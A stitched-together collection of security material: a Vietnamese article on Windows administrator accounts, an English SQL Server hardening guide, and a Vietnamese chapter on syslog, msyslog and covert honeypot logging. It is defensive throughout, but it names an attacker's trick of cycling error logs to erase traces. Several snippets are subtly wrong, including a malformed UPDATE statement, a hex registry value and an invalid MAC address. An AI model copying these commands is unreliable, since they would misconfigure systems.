Thứ sáu, các tài khoản quản trị viên và tất cả tài khoản người dùng đã cấu hình với quyền quản trị viên cần phải có mật khẩu bảo vệ tốt. Các mật khẩu đó cũng cần được thay đổi thường xuyên. Không đưa ra thời hạn hết hạn của mật khẩu sẽ không tốt cho việc bảo mật ở đây.

Cuối cùng, một mẹo cần phải chỉ ra cho các bạn không thực sự là một sự cấu hình hay thiết lập, mà đơn giản chỉ cần bảo vệ công ty và các tài nguyên của công ty với tất cả chi phí có thể. Nếu có một cảm giác không tốt về một quản trị viên hoặc một ai đó có quyền quản trị viên thì bạn phải có các biện pháp đối với họ, có thể mạnh đến mức đào thải. Đó thực sự là một điều khó khăn nhưng nếu ai đó không thể tin tưởng thì họ phải bị thay thế ra khỏi môi trường của bạn để đảm bảo an toàn cho toàn công ty.

Kết luận

Các tài khoản quản trị viên và nhóm quản trị có liên quan rất mạnh mẽ trong môi trường Windows. Các tài khoản này có nhiều quyền năng hơn những gì bạn vẫn thường nghĩ về nó. Bạn có thể bảo vệ môi trường của mình có nghĩa là phải kiểm soát chặt chẽ được các tài khoản đó. Chính vì vậy bạn cần phải quan tâm đến tất cả các chú ý mà chúng tôi đã giới thiệu trên để bảo vệ chúng, tuy một số tùy chọn có thể làm giảm hiệu quả và có thể phát sinh ra nhiều công đoạn cho tất cả các quản trị viên mỗi khi họ muốn thực hiện nhiệm vụ cần đến quyền truy cập cao. Nhưng xét tổng thể, để kiểm soát được các tài khoản kiểu quản trị viên thì đó là một nhu cầu cần thiết. Bạn cần thực hiện hành động bảo vệ này ngay lập tức trước khi mạng của bạn bị phá hoại như trường hợp trong câu “mất bò mới lo làm chuồng”!

10 Steps to Securing your SQL Server

Securing your SQL Server can be an arduous task, but very rewarding. Nothing makes me personally prouder than running a penetration test on a server that we just secured and not seeing any hot spots. This article will focus on the ways to easily secure your SQL Server. Although this takes care of some of the big issues, securing your SQL Server is an ongoing battle of constantly auditing and adjusting your plan. So without further ado, here's the laundry list of items to take care of on your SQL Server:
Windows Authentication if you Can

In almost every Microsoft SQL Server vulnerability I've seen, the footer of the alert usually states, "well, you should've been using Windows Authentication to avoid this problem". (paraphrased of course). Using Windows Only mode will rule out about 95% of the SQL Server security issues I've seen including every virus. For a hacker to penetrate your system with Windows Only mode enabled, he would first have to authenticate into the domain, which is much more difficult than going through SQL authentication. More importantly, no passwords are passed over the network, since SQL Server will use the user's authenticated token.
Watch your SA Account Usage

You should never use the SA password. Even if you're an admin. If you are an admin and can't use a Windows Authentication, then create an admin account for you to use. You will find yourself making lots of enemies initially as you change the SA account password across every department and production server. Yes, the password should even be changed in development and never given to the developers. For some reason, I found that if a developer knows the SA password, he'll begin to code using it since the account has the ultimate permissions and he won't have to think about what rights to give the application account.
Once you do have it changed, make sure you continue to change it periodically to avoid the word slipping out about the account. Have a process in place to where if anyone that knows the SA account were to leave the company, you can change it across every SQL Server in just a few hours time. A paranoid DBA like myself find myself wondering how many SQL Servers are on the network that I don't know about. You can use a free tool by E-Eye to scan for SQL Servers with no SA password in your network (or ones that have a password for that matter). To download the Retina SQL Worm Scanner (Version 1.0.0.0) go here:
http://www.eeye.com/html/Research/Tools/RetinaSqlWorm.exe

Remove BUILTIN/Administrators

As far as I'm concerned, this is the biggest SQL Server vulnerability today out of the box. I'm not sure why Microsoft feels that the machine's NT Administrators need to have SA rights by default, but that's exactly how it installs. The first thing I do on a new installation is remove this login. Beware though, before you do that, you'll need to ensure that the account that starts SQL Server has a login created. If the SQL Server does not have an account created for whichever NT account is starting SQL Server, you will have problems starting SQL Server or SQL Server Agent.
Change the Startup Account

Along those same lines, I like to change the account that starts SQL Server from LocalSystem to a non-descript login an password. If you do this through Enterprise Manager (right-click on the server's name and select Properties Security tab) you can save a lot of work since it gives the necessary permissions to the account and does a lot of work for you. When you change account that starts SQL Server, ensure that you're assigning a new login with very little rights to your actual machine (not an Administrator!). The reason you want to ensure his permissions are tight is to prevent a hacker from getting anywhere in NT if he is able to obtain SysAdmin rights.
Also, make sure the Logon Locally policy is denied for that account. This ensures that if someone won't be able to login with that account, to see any of your data or administrate your SQL Server. Finally, make sure the account that you change your SQL Server to startup with doesn't look like a startup account. For example, don't call the account SQLAdmin or SQLStartupAccount. Ensure that this account looks like a normal user and is not obvious to a hacker.
Auditing of Failed Logins and Denied Access

The best way to detect that you have an intruder is to put the proper alarm system up. By enabling the Failed Login option (Server Properties Security tab), you give yourself to tool to see when an unwanted visitor is attempting to access your system. This is especially useful when you have a canned application that only uses a few accounts. If you see any failed logins at all, you know the application is not causing it, so it must be a user. The next step is to turn on Profiler and capture only Failed Logins and the Hostname. That will tell you what computer name the unwanted visitor is coming in from.
Turning on this type of auditing won't do you a bit of good unless you actually monitor the logs or setup the proper alerting system to alert you when the entry comes through. One of the best ways to do this is to setup SQL Alerts to alert you when these errors come in either through NET SEND or through e-mail. I also like to turn on auditing of any type of permission denied error, like #229. If you find all the items you'd like to audit, you can write a script to update the sysmessages table (which holds all the SQL Server errors) to turn on logging as shown below:
-- Error Message #229: %ls permission denied on object '%.*ls', database '%.*ls', owner '%.*ls'.
UPDATE sysmessages SET dlevel = (dlevel 0x80) WHERE error = 229
If you're a hacker and you wanted to hide your activity in SQL Server, the ideal way to do this would be to rollover the error log through DBCC ERRORLOG five times, thus eliminated any evidence you were there. To defend against this, I recommend that you add a registry key (if it doesn't already exist) to increase the number of logs that SQL Server will keep from 5 to at least 10. The below key can be imported to do just that.
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\MSSQLServer\ MSSQLServer] "NumErrorLogs"=dword:00000010
Finally, consider auditing regularly for logins that don't have a password. You can do this through a simple query (note that the Windows accounts never store a password so the isntname = 0 parameter filters those out).
use master
go
select name, password from syslogins where password is null and name is not null and isntname = 0
Stay Up on Service Packs and Hot Fixes

Staying up on service packs and hot fixes is the best way to prevent the very experienced hacker. Most of the vulnerabilities I see that are corrected by service packs and hot fixes are hard to exploit, but once exploited, are very very dangerous. Always plan to update your SQL Servers at least once a quarter with any hot fixes or service packs. You can also stay ahead of the game by subscribed to the Microsoft Security Alerts at
http://www.microsoft.com/technet/treeview/default.asp?url=/technet/security/bulletin/notify.asp. Once you've subscribed, an e-mail will be delivered to you when a vulnerability is found. Unfortunately, there's no way to isolate the messages to just SQL Server ones.
Protect Your Extended Stored Procedures

SQL Server provides some very handy system and extended stored procedures. The only problem with this these stored procedures will use the same rights as whichever account is starting SQL Server. If you are not using replication or SQL Mail, start SQL Server with the system account. You will want to after that, lock down any stored procedures that you do not use on a regular basis. Especially any extended stored procedure such as xp_cmdshell. This extended stored procedure allows a user to have access to any command level actions and could act indirectly as a gateway to the rest of your network. I would not drop any of these stored procedures however. Enterprise Manager commonly uses these to access system level functions and dropping these stored procedures, will present some new bugs. I would though deny access to every account that does not need them and if you feel that you've done enough testing, then remove them.
Change the SQL Server Port and Block it

One way to slow down port scanners and hackers attempting to find your SQL Server is to change the SQL Server port. Most "small-time" hackers will get bored after scanning your network for the commonly used ports. To prevent the experienced hackers though, you'll need to make sure your firewall protects your SQL Server from all unknown traffic. You can change your SQL Server port under the Server Network Configuration utility and then highlight TCP/IP and select Properties. Check with your network administrator to make sure that your firewall allows this port where needed before making this change.
Control Access Through Stored Procedures

Always try not to give direct access to your data. Instead, control all data access through stored procedures and grant access to those instead of giving a blanket db_datareader and db_datawriter permissions. Once you use stored procedures, make sure you code properly in ADO to use them. This helps protect you from SQL Injection attacks, which we'll talk about in another article. SQL Injection attacks allow a hacker to run any type of SQL command he wishes through a form in an application. One bonus to using stored procedures is that they're easier to deploy. For example, if you don't use them, you'll have to either recompile your application or redeploy ASP pages ever time a query changes.
Protect Your OS

The old saying states, "You are what you eat". If your OS is not protected, then your SQL Server is wide open. It's like locking the door but leaving the window open next to it. In another article coming shortly I'll talk about how to protect your OS running SQL server.
Don't forget to test out your solution and test often! Document your final solution so when new servers are built, you don't forget to apply the same patches. Hopefully this article gives you a good baseline to start at for securing your SQL Server.

Kỹ Thuật Phân Tích

Trong lĩnh vực bảo mật và an toàn thông tin, thì dường như máy tính của bạn là hiện trường nơi xảy ra tội phạm. Nhưng không giống như phân tích về loài người, các nhà phân tích về máy tính thường làm việc với 1 cái máy tính đang làm việc mà có thể đưa ra các dấu hiệu mà những thứ khác có thể sai lầm. Chương này chúng ta sẽ làm việc với việc phân tích log, mà có thể được coi như là 1 nhánh của forensics. Một file log riêng rẽ có thể rất quan trọng và chúng ta phải quyết định đưa chúng vào các phần khác nhau.
Những gì là ví dụ cho những file log? Chúng ta có thể phân loại file log bằng các thiết bị mà làm việc dựa trên chúng, bởi vì những thiết bị thường quyết định loại thông tin chứa trong các file. Ví dụ, các file log của host (như Unix, Linux, Windows, VMS…) là khác nhau từ log của các ứng dụng network khácnhau (vídụ như sản phẩm switchs, routers hoặc các thiết bị mạng khác của Cisco, Nortel, Lucent…). Tương tự như vậy, các log của các ứng dụng an toàn thông tin (như firewall, IDS, thiết bị chống ddos, hệ thống phòng bị…) cũng rất khác nhau trên cả phương diện host và các log mạng. Trong thực tế, các thiết bị an toàn mạng hiển nhiên tạo nên một sự phân bổ không thể tưởng tượng được những gì chúng có thể ghi lại và định dạng mà chúng có thể tạo ra. Sắp xếp từ các địa chỉ IP đơn giản cho tới những giao dịch đầy đủ phức tạp trên mạng, các thiết bị an toàn hệ thống thường tạo nên một giá trị rất to lớn những thông tin rất thú vị, cả những thông tin về những sự việc hợp lệ và không hợp lệ. Làm thế nào để chúng ta có thẻ tìm được đâu là những sự việc không được cho phép. Làm thế nào để chúng ta học được về những xâm nhập trong quá khứ và thậm chí là tương lai từ logs? Chúng ta hoàn toàn có thể hi vọng vào việc tìm kiếm trong hàng gigabytes file log để tìm ra những hoạt động mà không được phép xảy ra khi mà những hacker đã rất là cẩn thận không để lại một dư thừa nào? Chương này sẽ trả lời cho chúng ta tất cả những câu hỏi đó.

18.1 Cơ bản của việc phân tích Log


Phân tích các log hoặc các chuỗi thống kê là một nghệ thuật của việc trích dẫn đầy đủ ý nghĩa thông tin và đưa ra kết luận về một trạng thái an toàn từ các bản ghi thống kế những sự việc được sản sinh bởi máy tính. Phân tích log không phải là 1 khoa học, nhưng ngày nay, việc tin tưởng vào kỹ năng phân tích độc lập và trực quan cũng như tính chất may mắn trong việc phân tích log chất lượng cũng là một khái niệm khoa học. Định nghĩa việc phân tích log có thể nghe rất khô khan, nhưng quan trọng là rút ra một “Kết luận có ý nghĩa”. Nhìn một cách đơn giản vào các file log không phải là phân tích, bởi vì hiếm có những cái gì ngoài những sự nhàm chán và dường như chẳng liên quan gì đến nhau. Trong trường hợp một thiết bị 1 người sử dụng với rất ít các hoạt động, tất cả những bản ghi log mà chưa được nhìn trước là rất it nghi ngờ, nhưng trong thực tế lại không dễ dàng như vậy.

Hãy thử xem một phân tích log cho những telnet chung. Đầu tiên, hãy nhìn qua toàn bộ log cần phải phân tích(giống như file log của một thiết bị xâm nhập đối với 1 thông báo tấn công thành công) và tạo quan hệ với những nguồn thông tin khác. Việc tạo quan hệ có nghĩa là thực hiện những thao tác bằng tay hoặc tự động để thiết lập nên mối quan hệ giữa các sự kiện tưởng chừng không liên quan xảy ra trên mạng. Các sự kiện xảy ra trên các thiết bị khác nhau trong các thời điểm khác nhau có thể tạo nên những quan hệ tức thời (xuất hiện trong thời gian ngắn). Đây có phải là một lỗ hổng cho kẻ tấn công có thể phát hiện được? Có phải các quy tắc của các hệ thống phát hiện xâm nhập đưa ra 1 dự báo sai. Có phải là một ai đó trong số các nhân viên của bạn đang thử quét các lỗ hổng trong mạng của bạn? Trả lời cho những câu hỏi tương tự như vậy là rất cần thiết trước khi lập kế hoạch phản ứng cho các thông báo của IDS. Các cố gắng kết nối, nắm bắt các dịch vụ và những sai lầm đa dạng của hệ thống thường yêu cầu thực thi rất nhiều những việc tạo mối quan hệ với những nguồn thông tin khác nhau theo nhiều mức để đạt được thông tin có ý nghĩa đầy đủ nhất.

18.2 Những ví dụ về log

Trong phần này chúng ta sẽ lất ví dụ trên các file log đã được tổng hợp trên các hệ thống Unix và sau đó là Windows.

18.2.1 Unix

Việc phổ biến các hệ thống Unix thương mại và miễn phí ngày càng phát triển khiến cho kỹ năng phân tích Unix log cũng là một ưu tiên phát triển hàng đầu. Các hệ thống Unix và Linux tạo ra một loạt các thông báo (giống như các log hệ thống), thường tồn tại dưới các dạng plain text, được định dạng như trong ví dụ sau:

Ví dụ như :
Oct 10 23:13:02 ns1 named[767]: sysquery: findns error (NXDOMAIN) on ns2.example.edu?

Oct 10 23:17:14 ns1 PAM_unix[8504]: (system-auth) session opened for user anton by (uid=0)

Oct 10 22:17:33 ns1 named[780]: denied update from [10.11.12.13].62052 for "example.edu"

Oct 10 23:24:40 ns1 sshd[8414]: Accepted password for anton from 10.11.12.13 port

2882 ssh2

Ví dụ này rất quen thuộc cho ai quản trị hệ thống Unix trong ít nhất 1 ngày. Định dạng này bao gồm các trường sau:

Timestamp
Giờ hệ thống của thiết bị khi ghi nhận log (trường hợp log 1 đăng nhập từ xa) hoặc của thiết bị tạo log (trong trường hợp tự tạo log).

Hostname or IP address of the log-producing machine
Hostname có thể là một tên domain name chất lượng (FQDN) ví dụ như ns1.example.edu hoặc chỉ là tên máy giống như là ns1 trong ví dụ trên.

Message source
Nguồn có thể là một phần mềm hệ thống (sshd hoặc là named trong ví dụ trên) hoặc là 1 bộ phận (ví vụ như PAM_unix) mà sản sinh ra thông báo log.

Log message
Thông báo log có thể có nhiều định dạng khác nhau, thông thường bao gồm tênứng dụng, các biến tình trạng đa dạng, địa chỉ IP nguồn, giao thức … Thỉnh thoảng định danh tiến trình của một tiến trình có thể tạo ra những bản ghi log và được ghi vào các chỗ trống.
4 thông báo log sau đây được chỉ ra, theo thứ tự:
- Có vấn đề xảy ra đối với DNS server thứ 2
- Một người sử dụng , (anton) đã đăng nhập vào thiết bị
- Một truy cập DNS bị cấm xuất hiện.
- Một người sử dụng (anton) đã được cung cấp mật khẩu an toàn hệ thống đang đăng nhập từ xa từ địa chỉ IP 10.11.12.13.

18.2.1.1Phân tích log hệ thống Unix

Log 1hệ thống Unix được quản lý bởi1 daemon syslog. Thiết bị daemon này đầu tiên xuất hiện trong những hệ thống BSD đầu tiên. Chương trình và các thành phần của hệ điều hành có thể đưa các sự kiện vào syslog thông qua hệ thống các lệnh, một socket (/dev/log), hoặc một kết nối mạng sử dụng UDP cổng 514. Các logging nội bộ thì thường đuợc thực thi thông qua API.

Giống như trong trang hướng dẫn syslogd, “logging hệ thống được cung cấp bởi 1 thiết bị nhận syslogd từ các nguồn BSD,. Các hỗ trợ cho logging kernel được cung cấp bởi tiện ích klogd (trên Linux), cái mà cho phép logging kernel có thể được quản lý trong những mẫu chuẩn riêng hoặc giống như 1 máy trạm của syslogd. Trong mẫu chuẩn riêng, klogd chuyển các thông báo kernel ra 1 file, còn trong mẫu kết hợp, nó đẩy thông báo tới 1 daemon syslogd.

Các kết nối từ xa đòi hỏi daemon syslog phải được thiết lập để lắng nghe trên UDP cổng 514 (cổng chuẩn của syslog) cho các giao tiếp thông tin. Để cho phép 1 đăng nhập từ xa, bạn chạy syslogd –r trong Linux. Chức năng này được mặc định là cho phép trong Solaris và một vài môi trường Unix khác. Các thông báo tới các mạng dưới dạng plain text và không có liên quan đến thời gian nào (Nó được đánh dấu bởi thiết bị nhận). Các thông báo tới cũng bao gồm các giá trị thực tế và đơn giản, được giải mã bởi daemon syslog.

Các log nhận đuợc hoặc nội bộ được daemon syslog chuyển tới nhiều đích khác nhau (có thể là các file, các thiết bị, các chương trình, điều khiển hệ thống hoặc những hệ thống syslog khác) theo thứ tự và những tiện nghi khác. Những tiện nghi khác bao gồm auth, authpriv, cron, daemon, kern, lpr, mail, mark, news, security (cũng giống như auth), syslog, user, uucp và local0 qua local7. Hướng dẫn syslog cũng đồng thời cung cấp danh sách theo thứ tự của syslog (sắp xếp dựa trên độ quan trọng): debug, info, notice, warning, warn (same cũng giống như warning), err, error (tương tự như err), crit, alert, emerg, và panic (tương tự như emerg). Thứ tự error, warn, and panic hiện nay vẫn được sử dụng cho các hệ thống syslog theo tuân thủ các thứ tự.

File thiết lập syslog thường nằm trong /etc/syslog.conf. Giống như được chỉ ra dưới đay, nó cho phép bạnc ó thể thiết lập các sắp xếp thppng báp theo các file khác nhau và các cấu trúc khác nhau:
*.* @log host

kern.* /dev/console

*.crit anton,other,root

local2.* /dev/custom_fifo

*.info;mail.none;authpriv.none;cron.none /var/log/messages

authpriv.* /var/log/secure

mail.* /var/log/maillog

cron.* /var/log/cron

uucp,news.crit /var/log/spooler

local7.* /var/log/boot.log

Các thông báo có thể được trực tiếp đưa đến các file cục bộ (giống như /var/log/messages), gửi tới các thiết bị (như a /dev/console), hoặc được phổ biến tới tất cả hoặc là chỉ những nguời sử dụng được lựa chọn (anton, other, root) trong các lệnh tương tự hoặc các lệnh wall shell.Thêm vào đó, thông điệp có thể được chuyển tới một remote host (nhìn đoạn log host ở tên) và trực tiếp tới các đường dẫn đã được định danh hoặc những FIFOs khác (trong ví dụ trên là /dev/custom_fifo) được tạo bởi lệnh mknod hoặc mkfifo. Thậm chí những thông điệp mà được tới từ mạng có thể được chuyển tiếp tới những thiết bị khác, được các thiết bị syslog daemon cấu hình để làm nhiệm vụ này (giống như syslogd –h trong Linux). Việc chuyển tiếp được mặc định là không cho phép bởi vì nó có thể gây nên sự tác nghẽn mạng và những vấn đề khác (bởi vì nó nhân đôi lưu lượng trên đường truyền).

Các đăng nhập từ xa được ghi nhận là mối lợi lớn cho những người mà mong muốn tập trung tất cả các bản ghi thu nhận được vào một chỗ. Các thực thi syslog từ các phiên bản Unix khác nhau đều có thể làm việc tốt. Bạn có thể dùng lẫn nhiều box Unix trong 1 nền tảng syslog.
Một vài vấn đề về syslog sẽ xuất hiện một cách hiển nhiên trong khi làm việc. Đây là 1 danh sách ngắn:

1. Định dạng của thông điệp log là mâu thuẫn với nhau ở ứng dụng và hệ điều hành. Một phần là thời gian, host, phần còn lại của thông điệp là một mẫu tự do, điều này có thể tạo ra rất nhiều khó khăn nếu tất cả các thông điệp khác nhau đều hiển thị.

2. Việc lọc các thông điệp theo theo thứ tự và khả năng không thật hiệu quả bởi vì nó có thể dẫn đến một số log file trở thành sọt rác của một mớ hỗn tạp các loại thông điệp. Không có cách nào để lọc các thông điệp theo nội dung của chúng và thậm chí việc điều chỉnh thứ tự hoặc khả năng của một chương trình tạo log cũng thường xuyên chứng tỏ những thử thách đó.

3. Các chuyển dịch trên mạng dựa trên UDP là không thể tin tưởng được, nếu những cái nhận được kết thúc của 1 liên kết UDP (không phải là kết nối, bởi vì UDP còn chưa kết nối) mà giảm xuống, thì thông điệp sẽ bị mất mà không có cơ hội để phục hồi lại.

4. Các chuyển dịch trên mạng dựa trên UDP thường được diễn ra dưới dạng plain text (không được mã hóa), không được xác thực và rất ít được bảo vệ. Đây có thể là một thảm họa về an toàn thông tin. Tuy nhiên thông thường thì đây không phải làm 1 vấn đề trầm trọng bởi syslog được sử dụng trong các mạng nội bộ có thể tin tưởng được hoặc thậm chí là 1 mạng LAN được chỉ định quản lý.
5. Khi chuyển tiếp các thông điệp từ host tới host, chỉ có trạm cuối cùng mới có thể nhìn thấy thông điệp. Bởi vì, nếu 1 thiết bị gửi các thông điệp tới những máy khác - mà có thể chuyển tiếp tới bất kỳ đâu, thì thông điệp nhận được dường như là nguyên bản tại thiết bị thứ 2 này.

6. Việc lưu trữ các log dưới các file plain text có thể làm cho nó trở nên khó khăn hơn khi phân tích một lượng lớn các dữ liệu log. Hãy thử cố gắng để thực thi 1 lệnh grep hoàn chỉnh trên 1 file khoảng 5 GB và bạn sẽ hiểu đang phải đối mặt với vấn đề gì. Trong khi quay vòng log, lưu trữ và giảm bớt tất cả những sự giúp đỡ để giải quyết vấn đề, 1 cơ sở dữ liệu quan hệ là thực sự cần thiết.

7. Các log được lưu trữ là điểm yếu (??) để sửa chữa hoặc xóa đi, đặc biệt là khi lữu trữ nội bộ. Rất là khó để kiểm tra những file log có thiếu một đoạn dữ liệu nào đó hay không, đặc biệt nếu chúng đã được thay đổi bởi một người tấn công có kinh nghiệm với việc truy cập root.
Sự thay thế những syslog của các hệ thống Unix phổ biến xác định những sự thiếu hụt. Chúng ta sẽ xem 2 sự thay thế khá nổi tiếng đó là thay thế syslog-ng bởi BalabIT (
http://www.balabit.hu/en/downloads/syslog-ng); và thay thế msyslog bởi CORE SDI (http://www.corest.com). Những chương trình này tạo nên giao tiếp TCP đáng tin cậy với các message bufferring,và nhiều lựa chọn lọc hơn (thêm vào đó với tính và tính thực tế của syslog. Những tài khoản không có quyền root đảm bảo an ninh cho các thao tác trong chroot, cung cấp dữ liệu log và điều khiển truy cập tốt hơn với các dữ liệu được mã hóa và thậm chí cung cấp cả những file log đã được tích hợp.
Hãy thử quan sát cách thiết lập msyslog cho một mạng nhỏ. Không giống như trong ví dụ về cấu hình syslog ở chuyển tất cả các thông điệp tới các thiết bị ở host thông qua UDP, trong trường hợp này, chúng ta sẽ sử dụng TCP với bộ đệm và lưu trữ các log trong dữ liệu và các file dạng plain text. Hơn nữa, chúng ta sẽ cho phép bảo vệ mã hóa cho các log file dạng plain text mà có thể cho phép chúng ta tì ra những thay đổi trong các log đã được lưu giữ.

Trên các máy trạm mà tạo ra hoặc chuyển tiêp các file lò, chúng ta phát triển và cấu hình msyslog. msyslog sử dụng file hợp lệ /etc/syslog.conf với các thay đổi phụ, như ví dụ sau :
*.* %tcp -a -h log host -p 514 -m 30 -s 8192
Ở ví dụ này, tất cả các thông điệp sẽ được chuyển từ các localhost tới các host log thông qua kết nối TCP cổng 514, ghi vào bộ đệm 8,192 thông điệp trong trường hợp kết nối không thành công và chờ khoảng 30 giây để thiết lập lại kếy nối tới log host . Dòng khác như /etc/syslog.conf có thể có mặt trong những định dạng syslog giống như được miêu tả ở trên, Daemon được kích hoạt chạy thông qua lệnh msyslogd -i linux -i unix hoặc sử dụng những kịch bản mặc định được cung cấp bởi các msyslog package.

Tại server, chúng ta cấu hinh để chạy msyslog như sau:
msyslogd -i linux -i unix -i 'tcp -a -p 514'

Điều này làm cho daemon phải lắng nghe các kết nối qua TCP cổng 514 và cho phép đăng nhập từ tất cả các thiết bị. Các quy ước điều khiển truy cập có thể được ứng dụng để giới hạn các host dựa trên địa chỉ IP (các host có thể chuyển logs). Chúng ta cũng thêm vào bảo vệ crypto nhiều thông điệp quan trọng (chẳng hạn như thứ tự ưu tiên). Để làm được điều này, chúng ta thêm vào dòng lệnh đoạn /etc/syslog.conf như sau::
*.crit %peo -l -k /etc/.var.log.authlog.key %classic /var/log/critical

Tiếp theo, kết thúc msyslog daemon, xóa hoặc quay các logs, và tạo ra các khóa mã sử dụng tiện ích rất quen thuộc:
peochk -g -k /etc/.var.log.authlog.key

Khởi động lại daemon, và bảo vệ log được bật. Sau khi nhận thông điệp mới, msyslog cập nhật lại điều kiện. Và để kiểm tra tính tích hợp của log, chạy lệnh sau:
peochk -f /var/log/messages -k /etc/.var.log.authlog.key
Nếu mọi việc tốt đẹp, bạn sẽ nhìn thấy như sau:
(0) /var/log/critical file is ok
Nếu logfile đã bị thay đổi, bạn sẽ thấy:
(1) /var/log/critical corrupted
Thêm vào đó, để gửi các thông điệp tới cơ sở dữ liệu, một lệnh sau cần phải được thêm vào trong /etc/syslog.conf như sau:
*.* %mysql -s localhost -u logger -d msyslog -t syslogTB
Lệnh này sẽ lưu một bản copy của thông điệp vào trong cơ sở dữ liệu MySQL . Tuy nhiên, trước khi sự thu thập dữ liệu bắt đầu, bạn cần tạo ra một phác đồ và chèn vào một user được log, Điều này được làm hoàn chỉnh thông qua lệnh sau:
echo "CREATE DATABASE msyslog;" mysql -u root -p
Lệnh này sẽ tạo ra 1 cơ sở dữ liệu. Nhưng trước đó, MySQL phải được cài đặt và chạy tốt trên hệ thống của bạn. Lệnh tiếp theo sẽ là:
cat syslog-sql.sql mysql msyslog
Lệnh này định nghĩa 1bảng để lưu trữ log, syslog-sql.sql được chỉ ra như sau:
CREATE TABLE syslogTB (

facility char(10),

priority char(10),

date date,

time time,

host varchar(128),

message text,

seq int unsigned auto_increment primary key

);

Bước cuối cùng là tạo cơ hội cho việc thêm các thông điệp:
echo "grant INSERT,SELECT on msyslog.* to logger@localhost;" mysql -u root -p

Việc cài đặt cơ sở dữ liệu như ở trên có thể lưu trữ an toàn hàng triệu bản ghi. Dữ liệu có thể được hiển thi thông qua các giao tiếp câu lệnh (mysql) hoặc một trong số nhiều cơ sở dữ liệu GUI database frontends và web frontends (ví dụ như PHPMyAdmin, viết trong PHP).

Để kết luận, msyslog và syslog-ng thao tác lẫn nhau với các thực thi syslog truyền thống nếu log được vận chuyển thông qua UDP. Trong trường hợp này, syslog mới và các syslog truyền thống sẽ được dùng chung để phát triển mạng, và một syslog mới sẽ được phát triển trên log-collection server. Những đặc điểm tiến bộ khác như lọc, kiểm tra tích hợp, sưu tập dữ liệu là có sẵn, và chỉ cách chuyển vận của các log mạng là được làm theo cách cổ điển mà thôi.

18.2.2 Windows

Windows (từ NT/2000/XP trở lên) cũng cung cấp logging hệ thống. Tuy nhiên, nó sử dụng định dạng nhị phân (*.evt) để lưu trữ 3 dạng logfile:hệ thống, ứng dụng và an ninh (system, application, and security).
Figure 18-1 là 1 ví dụ của log an toàn của hệ thống windows . Log hệ thống bao gồm rất nhiều các bản ghi có liên quan tới các vận hành thông thường hoặc bất thường của máy tính. Ví dụ này chỉ ra 1 hoạt động thông thường của Windows XP. Xem chi tiết ở hình (Figure 18-2). Để đọc các log của windows, bạn cần sử dụng chương trình hoặc thiết bị có thể đọc được file *.evt . Thiết bị đọc có thể sử dụng để xuất các file ra dưới dạng mỗi giá trị cách nhau 1 dấu phẩy cho việc phân tích hoặc quan sát log qua các text editor.

Figure 18-1. Windows security log showing normal operation
Figure 18-2. Double-clicking to drill down for detail on the Windows security log

18.2.3 Remote Covert Logging

Một chương về logging sẽ không đầy đủ nếu thiếu phần nói về logging chuyển đổi. Trong một vài trường hợp (giống như cho honeypots và cho những kịch bản khác), thật là đáng mong ước che dấu đi sự có mặt của một logging tập trung từ xa khỏi những người khách của bạn. Thông thường, file cấu hình syslog bộc lộ sự hiện diện của logging từ xa và chỉ ra vị trí logging server. Điều này cho phép các hacker có thể tấn công, dò xét các log server và xóa đi những vật chứng. Mặt khác, stealthy logging lại rất khó để cho 1 kẻ tấn công có thể phát hiện ra.

Lựa chọn stealthy logging cơ bản nhất thực sự lại không phải là vụng trộm. Nó chỉ cung cấp 1 site backup cho việc lưu trữ log. Thêm vào việc chỉ định log server (có thể nhìn thấy đối với những kẻ tấn công), 1 sniffer (giống như Snort IDS trong chế độ lắng nghe, tcpdump, hoặc ngrep) được phát triển trên những thiết bị riêng rẽ. Ví dụ như, nếu server có địa chỉ IP là 10.1.1.2 gửi logtới 1 server có địa chỉ 10.1.1.3, một thiết bị đặc biệt khác không có địa chỉ IP sẽ được phát triển trên cùng subnet mà sniffer đang chạy. Tất cả các sniffer đều được cấu hình bằng ngôn ngữ Berkeley Packet Filter (BPF) để nhận những thông tin xác định. Trong trường hợp này, chúng ta sẽ chạy lệnh tương tự như:
ngrep "" src host 10.1.1.2 and dst host 10.1.1.3 and proto UDP and port 514 >

/var/log/stealth-log
Lệnh này cho phép sniffer (trong ví dụ này là ngrep, có sẵn tại địa chỉ
http://ngrep.courceforge.net) để lưu lại chỉ những chuyển dịch syslog từ xa giữa 2 host xác định và đổ dữ liệu vào file /var/log/stealth-log.
Rõ ràng rằng, công cụ tcpdump có thể được sử dụng để ghi lại tất cả những syslog dưới các định dạng nhị phân hoặc ASCII , nhưng ngrep dường như làm tốt hơn trong công việc này, bởi vì nó chỉ hiển thị những phần được phép của syslog packet.

Chọn lựa stealthy log thứ 2 gửi file log tới 1 host log mà không chạy syslog (hoặc là bất kỳ một dịch vụ mạng nào khac). Trong trường hợp này, firewall chạy trên log server chỉ đơn giản từ chối mọi đầu vào có gói tin UDP cổng 514. Bạn sẽ thắc mắc nó sẽ thiết lập logging như thế nào? Một sniffer mà sẽ kiểm tra tất cả các gói tin UDP trước khi nó bị firewall đẩy ra được phát triển trên chính log server đó. Sẽ không có một ứng dụng nào trên host có thể nhìn thấy gói tin đó bởi vì nó đã bị firewall đẩy ra, sniffer ghi nó vào 1 file (sử dụng câu lệnh trên).

Nó có thể được thực thi để tránh viễn tưởng hack log server. Thực tế thì chúng ta đã vừa thiết lập nên một cái bẫy honeypot; những thông điệp được chuyển tới router (cái mà hiển nhiên không quan tâm đến việc thông tin nhận được có là một thông điệp syslog hay không). Một người có thể chỉ ra dòng thông điệp ở một nơi nào đó, nhưng sử dụng một host mà không có syslog tạo nên lợi ích trong việc làm cho những kẻ tấn công bị rối ren ( và phải cân nhắc xem lỗi cấu hình trên 1 phần của system administrators).
Phần thứ 3, lựa chọn stealthy logging cuối cùng liên quan đến việc chuyển dữ liệu log tới một host không còn tồn tại và sau đó chọn lọc dữ liệu với 1 sniffer giống như trên. Trong trường hợp này, một thiết lập mở rộng nên thay đổi trên thiết bị gửi logfile: stack TCP/IP nên trang trí các gói tin được gửi đi tới thiết bị mà sẽ không bao giờ trả lời (vì nó không tồn tại). Tất cả những cái này được biểu diễn hoàn chỉnh trong câu lệnh sau:
arp -s 10.1.1.4 0A:0B:OC:OD:78:90

Câu lệnh này sẽ trang trí IP stack của thiết bị gửi log sao cho người ta nghĩ rằng có một cái gì đó đang chạy tại địa chỉ 10.1.1.4. Trong trường hợp này, cả địa chỉ IP và địa chỉ MAC đều có thể không có thật, nhưng địa chỉ IP nên là 1 địa chỉ mạng cục bộ. Hãy lưu ý rằng địa chỉ MAC không cần thiết phải thuộc vào một log server thực tế nào đó.

